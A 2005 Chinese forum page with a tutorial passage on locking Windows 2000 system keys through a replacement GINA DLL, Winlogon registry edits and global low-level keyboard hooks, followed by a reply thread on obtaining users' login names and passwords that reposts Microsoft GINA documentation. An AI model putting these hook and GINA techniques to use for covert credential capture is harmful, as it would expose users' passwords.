char content[4]; //所查询注册表键值的内容
DWORD dwLength=4;
//打开注册表键
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE//FCSKBLock//KBConfig",
0,KEY_READ,&hKey)
==ERROR_SUCCESS)
{ //读取CtrlAltDel键值
if(RegQueryValueEx(hKey,"CtrlAltDel",NULL,&dwType,(unsigned char *)content,&dwLength)
==ERROR_SUCCESS)
{
if(* content==1)
return WLX_SAS_ACTION_NONE;//直接返回桌面程序,实现屏蔽
}
}
return theApp.MyWlxLoggedOnSAS(pWlxContext,dwSasType,pReserved ) ;
}
开发完成的自定义GINA.dll要放到Wint/system32文件夹中。并修改注册表:

键项名

/HKEY_LOCAL_MACHINE/Software/Microsoft/WindowsNT/CurrentVersion/Winlogon
子键名
myGina(任意名称均可)
子键类型
[REG_SZ]
子键值
myGina(自定义Gina的名称)
若GINADLL不存在,新建即可。
再重启计算机后myGina即为系统使用。

2) 全局HOOKDLL编写
采用BORLAND C++Bulider 6.0(以下简称BCB)编写安装全局HOOK的DLL文件。BCB是一款优秀的C/C++语言开发工具,可以快速开发高质量的Windows程序。下面介绍简要步骤:
I. 利用BCB新建向导,建立一个DLL工程。在此DLL中我们将有条件的安放两个HOOK。一个用于捕获系统功能热键并屏蔽,另一个用作客户端程序的激活热键;

II. 在cpp里添加如下代码:

此段代码用于申明全局变量和导出函数。因为此DLL文件将被VB编写的客户端程序所调用,所以声明导出函数时需要将语句extern ”C” 放置在声明处。另外在BCB中默认的调用约定为__cdecl方式,而在VB中调用约定为__stdcall。

pragma argsused

//下面变量用于HOOK.cpp
static HHOOK hOldHook=0;/*记录上一个注册的键盘钩子*/
static HHOOK hOldHook2=0;/*记录上一个注册的键盘钩子*/
static HWND hProcWnd=0; /*记录客户程序的窗体*/
static HANDLE hInstance=0;/*DLL的句柄*/
//导出setHotKey
extern "C" __declspec(dllexport) char _stdcall ActivateKey(HWND hWnd,bool nCode,bool bWhich);

int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
//用全局变量保存这个DLL的句柄
hInstance=hinst;
return 1;
}
因为客户端程序是作为后台运行的,所以我们需要给其安放个激活热键,以便用户在任何情况下通过热键呼出。所以必须通过DLL文件安放一个全局HOOK,用作激活热键。当用户按下激活热键后,DLL会截获消息并向指定的客户端程序发送激活消息。

//客户端程序热键---------------------------------------------------------------------------

LRESULT CALLBACK HotKeyProc(int nCode,WPARAM wParam,LPARAM lParam)
{
bool fEatKeystroke = FALSE;
//PKBDLLHOOKSTRUCT p = NULL;
if (nCode == HC_ACTION) {
switch (wParam)
{
case WM_KEYDOWN: case WM_SYSKEYDOWN:
case WM_KEYUP: case WM_SYSKEYUP:
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) lParam;
fEatKeystroke =
((p->flags & LLKHF_ALTDOWN) != 0)&& (p->vkCode==VK_F12);//自定义激活//热键: Alt+F12
break;
}
if(fEatKeystroke)
SendMessage(hProcWnd,WM_USER+200,2000,0); //用于激活客户程序的自定义消息
}
return(fEatKeystroke ? 1 : CallNextHookEx(NULL, nCode, wParam,
lParam));
}

此处为捕获、屏蔽系统功能热键的回调函数,用户可根据需要添加修改需要屏蔽的按键。

//屏蔽Ctrl+Esc/Alt+Tab/Win/F1/Alt+Esc等功能按键------------------------------------------------------------------

LRESULT CALLBACK ShieldKeyProc(int nCode,WPARAM wParam,LPARAM lParam)
{
bool fEatKeystroke = FALSE;
//PKBDLLHOOKSTRUCT p = NULL;
if (nCode == HC_ACTION)
{
switch (wParam) {
case WM_KEYDOWN: case WM_SYSKEYDOWN:
case WM_KEYUP: case WM_SYSKEYUP:
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) lParam;
fEatKeystroke =
(p->vkCode==VK_F1)||//F1
((p->vkCode == VK_TAB) && ((p->flags & LLKHF_ALTDOWN) != 0))|| //Alt+Tab
((p->vkCode == VK_ESCAPE) && ((p->flags & LLKHF_ALTDOWN) != 0)) || //Alt+Esc
((p->vkCode == VK_ESCAPE) && ((GetKeyState(VK_CONTROL) & 0x8000) != 0)) || //Ctrl+Esc
(((GetKeyState(VK_CONTROL) & 0x8000) != 0) && (p->vkCode == VK_SPACE))|| //Ctrl+Space
(((GetKeyState(VK_CONTROL) & 0x8000) != 0) && ((GetKeyState(VK_SHIFT) & 0x8000) != 0));
break;
}
}
return(fEatKeystroke ? 1 : CallNextHookEx(NULL, nCode, wParam,
lParam));
}
这个函数负责根据客户端调用参数,向系统注册、注销HOOK。HOOK必须在不要的时候卸载!

//HWND hWnd:客户端程序调用窗体的句柄,bool nCode:挂还是不挂HOOK的标志,bool bWhich:挂哪个HOOK的标志

char _stdcall ActivateKey(HWND hWnd,bool nCode,bool bWhich)
{
if (bWhich)
{
if(nCode) // 安放底层HOOK
{
hProcWnd=hWnd;//记录下这一个DLL是由哪个窗体调用的
hOldHook=SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)ShieldKeyProc,hInstance,0); //记录下上一个DLL是由哪个窗体调用的
return(hOldHook != NULL? 1: 0 );
}
else // 卸下HOOK
UnhookWindowsHookEx(hOldHook);
}
else
{
if(nCode) // 安放HotHooK
{
hProcWnd=hWnd;//记录下这一个DLL是由哪个窗体调用的
hOldHook2=SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)HotKeyProc,hInstance,0); //记录下上一个DLL是由哪个窗体调用的
return(hOldHook2 !=NULL ? 1: 0);
}
else // 卸下HOOK
UnhookWindowsHookEx(hOldHook2);
}
return true;
III. 以Release方式编译保存。
IV. 关于DLL调试可以参见有关文档。

3) 客户端程序
微软的 Visual Basic 因为其编写Windows界面程序的方便、灵活而成为我们开发客户端程序的首选。我们采用Visual Basic 6.0 中文企业版(以下简称VB)进行开发。VB本身并不直接支持DLL文件的开发,但提供了对DLL的调用功能。作为客户端程序,就是实现用户操作与程序调用DLL,API函数的转换。下面介绍简要步骤:

I. 工程建立
新建三个窗体.分别命名为:Form1,frmLogin,Dialog.Form1作为主窗体界面布置如图<1>:


<1>
第一项采用API函数屏蔽任务栏;
第二项通过操作注册表,实现屏蔽Ctrl+Alt+Del组合键;
第三项通过调用开发的底层键盘HOOK DLL实现功能键的屏蔽。
密码设置项用于客户端程序激活需要密码情况。
frmLogin作为用户设置密码后,重新激活的登录窗体,如图<2>:


<2>
Dialog则作为”密码设置”窗体,如图<3>:


<3>

II. 代码流程
本文给出主流程图。说明:
i. 因为软件是基于Windows2000平台,所以启动后首先要判断系统平台;
ii. 考虑系统安全性,程序要检查是否已有远行实例;
iii. 因为要接受DLL文件发送的激活消息,所以可以在窗体加载事件中通过SetWindowLong函数在VB消息序列中添加自定义消息过滤函数。

SetWindowLong语法:
SetWindowLong (hwnd, GWL_WNDPROC, AddressOf SysMenuProc)hwnd:当前窗体的句柄
GWL_WNDPROC:设置一个新的窗口消息处理过程的地址
AddressOf SysMenuProc :取新的窗口消息处理过程名称
返回值代表前个窗体消息处理过程。

SysMenuProc 函数是个回调函数。必须声明定义在标准模块中。
iv. 程序最小化在系统托盘区编程利用Shell_NotifyIcon函数。
Shell_NotifyIcon语法可以参见微软的MSDN。添加系统托盘图标子程序放在窗体的Resize事件中。程序在退出时必须删除图标。
个人主页 | 引用 | 返回[align=right] [/align]
回复:WINDOWS 2000下如何获得用户登录名和密码
nzh发表评论于2005-6-29 11:26:09
以下是原文:

WlxLoggedOutSAS

The WlxLoggedOutSAS function must be implemented by a replacement GINA DLL. Winlogon calls this function when it receives a secure attention sequence (SAS) event while no user is logged on.

int WlxLoggedOutSAS(  PVOID pWlxContext,  DWORD dwSasType,  PLUID pAuthenticationId,  PSID pLogonSid,  PDWORD pdwOptions,  PHANDLE phToken,  PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,  PVOID* pProfile);


Parameters

pWlxContext [in] A pointer to the GINA context associated with this window station. The GINA returns this context value when Winlogon calls WlxInitialize for this station. dwSasType [in] Specifies the type of SAS that occurred. Values from zero to WLX_SAS_TYPE_MAX_MSFT_VALUE are reserved to define standard Microsoft SAS types. GINA developers can define additional SAS types by using values greater than WLX_SAS_TYPE_MAX_MSFT_VALUE.
The following SAS types are predefined.

ValueMeaning
WLX_SAS_TYPE_CTRL_ALT_DELIndicates that a user has typed the standard CTRL+ALT+DEL SAS.
WLX_SAS_TYPE_SC_INSERTIndicates that a smart card has been inserted into a compatible device.
WLX_SAS_TYPE_SC_REMOVEIndicates that a smart card has been removed from a compatible device.
WLX_SAS_TYPE_TIMEOUTIndicates that no user input was received within the specified time-out period.
pAuthenticationId [out] Specifies the authentication identifier associated with the current logon session. You can get this value by calling GetTokenInformation to obtain a TOKEN_STATISTICS structure for the token returned by the LogonUser function. pLogonSid [in, out] On input, this parameter points to a security identifier (SID) that is unique to the current logon session. Winlogon uses this SID to change the protection on the window station and application desktop so that the new logged-on user can access them.
On output, Winlogon provides a SID. You can also get the SID by using the GetTokenInformation function to retrieve a TOKEN_GROUPS structure for the token returned by the LogonUser function. To do this, search the array returned in the TOKEN_GROUPS structure for the group with the SE_GROUP_LOGON_ID attribute.

pdwOptions [out] A pointer to a DWORD that contains the set of logon options. The following option is defined.
ValueMeaning
WLX_LOGON_OPT_NO_PROFILE
Indicates that Winlogon must not load a profile for the logged-on user. Either the GINA DLL will take care of this activity, or the user does not need a profile.
phToken [out] A pointer to a handle variable. When the logon operation succeeds, set this handle to a token that represents the logged-on user. Use the LogonUser function to get this token, then, when the user logs off, Winlogon closes this handle and calls the WlxLogoff function.
If you need this handle after calling the WlxLogoff function, make a duplicate of the handle before returning it to Winlogon.

pNprNotifyInfo [out] A pointer to an WLX_MPR_NOTIFY_INFO structure that contains domain, user name, and password information for the user. Winlogon will use this information to provide identification and authentication information to network providers.
The GINA is not required to return password information. Any NULL fields within the structure will be ignored by Winlogon. Use LocalAlloc to allocate each string; Winlogon will free them when they are no longer needed.

The GINA should provide domain, user, and password values for complete Session Directory functionality. If the password is not provided, Session Directory will require the user to input the password twice before the user is connected to the server.

For information about protecting passwords, see Handling Passwords.

pProfile [out] On return from a successful authentication, the pProfile parameter points to either a WLX_PROFILE_V1_0 or a WLX_PROFILE_V2_0 structure. The first DWORD in the structure indicates which structure it is. Winlogon uses this structure to load the profile of the logged-on user, and frees the memory associated with the structure when it no longer needs it.

Return Values

If the function fails, the function returns zero.

If the function succeeds, it returns one of the following values.

Return codeDescription
WLX_SAS_ACTION_LOGONIndicates a user has logged on.
WLX_SAS_ACTION_NONEIndicates the logged attempt was unsuccessful or canceled.
WLX_SAS_ACTION_SHUTDOWNIndicates the user requested that the system be shut down.

Remarks

Before calling WlxLoggedOutSAS, Winlogon sets the desktop state so that the current desktop is the Winlogon desktop and sets the workstation state so that the desktop is locked.

Do not activate the user shell program in WlxLoggedOutSAS. The user shell program should always be activated in WlxActivateUserShell.

Requirements

ClientRequires Windows XP, Windows 2000 Professional, or Windows NT Workstation 4.0 SP3 and later.
ServerRequires Windows Server 2003, Windows 2000 Server, or Windows NT Server 3.51 and later.
HeaderDeclared in Winwlx.h.

-- 作者:0934
-- 发布时间:2005-4-25 6:31:48

--
pWlxContext [in] A pointer to the GINA context associated with this window station. The GINA returns this context value when Winlogon calls WlxInitialize for this station. dwSasType [in] Specifies the type of SAS that occurred. Values from zero to WLX_SAS_TYPE_MAX_MSFT_VALUE are reserved to define standard Microsoft SAS types. GINA developers can define additional SAS types by using values greater than WLX_SAS_TYPE_MAX_MSFT_VALUE.

The following SAS types are predefined.

ValueMeaning
WLX_SAS_TYPE_CTRL_ALT_DELIndicates that a user has typed the standard CTRL+ALT+DEL SAS.
WLX_SAS_TYPE_SC_INSERTIndicates that a smart card has been inserted into a compatible device.
WLX_SAS_TYPE_SC_REMOVEIndicates that a smart card has been removed from a compatible device.
WLX_SAS_TYPE_TIMEOUTIndicates that no user input was received within the specified time-out period.
pAuthenticationId [out] Specifies the authentication identifier associated with the current logon session. You can get this value by calling GetTokenInformation to obtain a TOKEN_STATISTICS structure for the token returned by the LogonUser function. pLogonSid [in, out] On input, this parameter points to a security identifier (SID) that is unique to the current logon session. Winlogon uses this SID to change the protection on the window station and application desktop so that the new logged-on user can access them.

On output, Winlogon provides a SID. You can also get the SID by using the GetTokenInformation function to retrieve a TOKEN_GROUPS structure for the token returned by the LogonUser function. To do this, search the array returned in the TOKEN_GROUPS structure for the group with the SE_GROUP_LOGON_ID attribute

pdwOptions [out] A pointer to a DWORD that contains the set of logon options. The following option is defined.

ValueMeaning
WLX_LOGON_OPT_NO_PROFILE
Indicates that Winlogon must not load a profile for the logged-on user. Either the GINA DLL will take care of this activity, or the user does not need a profile.
phToken [out] A pointer to a handle variable. When the logon operation succeeds, set this handle to a token that represents the logged-on user. Use the LogonUser function to get this token, then, when the user logs off, Winlogon closes this handle and calls the WlxLogoff function.

If you need this handle after calling the WlxLogoff function, make a duplicate of the handle before returning it to Winlogon.

pNprNotifyInfo [out] A pointer to an WLX_MPR_NOTIFY_INFO structure that contains domain, user name, and password information for the user. Winlogon will use this information to provide identification and authentication information to network providers.

The GINA is not required to return password information. Any NULL fields within the structure will be ignored by Winlogon. Use LocalAlloc to allocate each string; Winlogon will free them when they are no longer needed.

The GINA should provide domain, user, and password values for complete Session Directory functionality. If the password is not provided, Session Directory will require the user to input the password twice before the user is connected to the server.

For information about protecting passwords, see Handling Passwords.

pProfile [out] On return from a successful authentication, the pProfile parameter points to either a WLX_PROFILE_V1_0 or a WLX_PROFILE_V2_0 structure. The first DWORD in the structure indicates which structure it is. Winlogon uses this structure to load the profile of the logged-on user, and frees the memory associated with the structure when it no longer needs it.
这里是东方快车对比结果



点击浏览该文件

[align=right][此贴子已经被作者于2005-4-25 6:33:57编辑过][/align]
-- 作者:死亡月亮
-- 发布时间:2005-4-25 7:28:21

--

注意:空旷 一词为翻译软件翻译错误

正确的应该是 VOID

WlxSasNotify

The WlxSasNotify function is called by GINA to notify Winlogon of a secure attention sequence (SAS) event.

VOID WlxSasNotify(  HANDLE hWlx,  DWORD dwSasType);


Parameters

hWlx [in] Specifies the Winlogon handle passed to GINA in the WlxInitialize call. dwSasType [in] Specifies the type of SAS that occurred.
Values from zero to WLX_SAS_TYPE_MAX_MSFT_VALUE are reserved to define standard Microsoft SAS types. GINA developers can use values greater than WLX_SAS_TYPE_MAX_MSFT_VALUE to define additional SAS types.

The following values are predefined.

This value will be delivered to one of the GINA SAS service routines called by Winlogon (WlxLoggedOutSAS, WlxLoggedOnSAS, or WlxWkstaLockedSAS).

ValueMeaning
WLX_SAS_TYPE_CTRL_ALT_DELIndicates that the user has typed the CTRL+ALT+DEL SAS.

Return Values

This function has no return values.

Requirements

ClientRequires Windows XP, Windows 2000 Professional, or Windows NT Workstation 4.0 SP3 and later.
ServerRequires Windows Server 2003, Windows 2000 Server, or Windows NT Server 3.51 and later.
HeaderDeclared in Winwlx.h.

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息